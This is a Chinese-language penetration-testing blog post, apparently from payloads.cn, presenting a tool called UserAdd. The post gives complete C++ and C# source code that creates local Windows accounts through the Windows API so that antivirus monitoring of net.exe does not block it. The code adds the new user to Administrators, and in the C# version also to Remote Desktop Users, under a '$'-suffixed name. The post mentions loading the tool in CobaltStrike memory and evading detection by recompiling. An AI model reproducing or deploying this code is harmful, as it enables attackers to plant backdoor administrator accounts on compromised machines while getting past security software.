君子藏器于身待时而动,安全不露圭角覆盂之安。
——AnonySec
https://payloads.cn
项目地址:UserAdd
前言
在渗透测试过程中,有时会登录远程桌面等服务进行横向,但需要知道 Windows 账户口令 (不考虑 hash 传递场景),而直接通过net.exe
进行添加用户,往往会被安全软件直接阻断拦截,这就需要调用 Windows API ,进行 Bypass AV。
安全阻断
安全软件的阻断,实际就是对net.exe
的调用进行了监控 (正常运维人员很少使用该命令),所以在Webshell或远控上添加账号,往往就会被阻止操作,账号就会添加失败。
命令行添加/删除/修改账户,在火绒中属于敏感动作防护规则。
Bypass AV
C++
- 调用
NetUserAdd
添加本地用户 - 调用
NetLocalGroupAddMembers
将用户添加到组
1 2 3 4 5 6 7 8 9 10 11 12
| NET_API_STATUS NET_API_FUNCTION NetUserAdd( [in] LPCWSTR servername, [in] DWORD level, [in] LPBYTE buf, [out] LPDWORD parm_err );
NET_API_STATUS NET_API_FUNCTION NetLocalGroupAddMember( LPCWSTR servername, LPCWSTR groupname, PSID membersid );
|
完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| #ifndef UNICODE #define UNICODE #endif #pragma comment(lib, "netapi32.lib")
#include <stdio.h> #include <windows.h> #include <lm.h>
int wmain(int argc, wchar_t* argv[]) { USER_INFO_1 ui; DWORD dwLevel = 1; DWORD dwError = 0; NET_API_STATUS nStatus;
if (argc != 3) { fwprintf(stderr, L"Usage:UserAdd.exe <username> <password>\n", argv[0]); exit(1); }
ui.usri1_name = argv[1]; ui.usri1_password = argv[2]; ui.usri1_priv = USER_PRIV_USER; ui.usri1_home_dir = NULL; ui.usri1_comment = NULL; ui.usri1_flags = UF_SCRIPT; ui.usri1_script_path = NULL;
nStatus = NetUserAdd(NULL, dwLevel, (LPBYTE)&ui, &dwError);
if (nStatus == NERR_Success) fwprintf(stderr, L"User %s has been successfully added\n",argv[1]);
else fprintf(stderr, "A system error has occurred: %d\n", nStatus);
LOCALGROUP_MEMBERS_INFO_3 account; account.lgrmi3_domainandname = argv[1];
NET_API_STATUS Status = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
if (Status == NERR_Success || Status == ERROR_MEMBER_IN_ALIAS){ printf("Administrators added Successfully!"); } else { printf("Administrators added Failed!"); } return 0; }
|
效果测试
C#
调用DirectoryServices
添加本地用户,同时可以删除用户、添加用户组。
个人更倾向于C#的版本:
- 代码简洁
- 便于 CobaltStrike 内存加载运行
1
| public class DirectoryEntries : System.Collections.IEnumerable
|
完整代码
在 Visual Studio 中需要添加对程序集System.DirectoryServices.dll
的引用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| using System; using System.DirectoryServices;
namespace UserAdd { class Class1 { static void Main(string[] args) { if (args.Length != 1) { Console.WriteLine("[!] The default is 10 bits random password"); Console.WriteLine("Usage: UserAdd.exe <username>"); } else { string user = args[0]; string username = user + "$"; string chars = "!@#$%0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; Random randrom = new Random((int)DateTime.Now.Ticks); string password = ""; for (int i = 0; i < 10; i++) { password += chars[randrom.Next(chars.Length)]; } try { DirectoryEntry AD = new DirectoryEntry("WinNT://" + Environment.MachineName + ",computer"); DirectoryEntry NewUser = AD.Children.Add(username, "user"); NewUser.Invoke("SetPassword", new object[] { password }); NewUser.CommitChanges(); DirectoryEntry grp;
grp = AD.Children.Find("Administrators", "group"); if (grp != null) { grp.Invoke("Add", new object[] { NewUser.Path.ToString() }); } grp = AD.Children.Find("Remote Desktop Users", "group"); if (grp != null) { grp.Invoke("Add", new object[] { NewUser.Path.ToString() }); } Console.WriteLine("[*] Account Created Successfully"); Console.WriteLine($"[+] Username: {username}\n[+] Password: {password}"); } catch (Exception ex) { Console.WriteLine(ex.Message); }
} } } }
|
之前在 github 发布过编译好的版本,但已经被火绒标记了 HackTool ,实际只检验了MD5,重新编译即可。
效果测试
Reference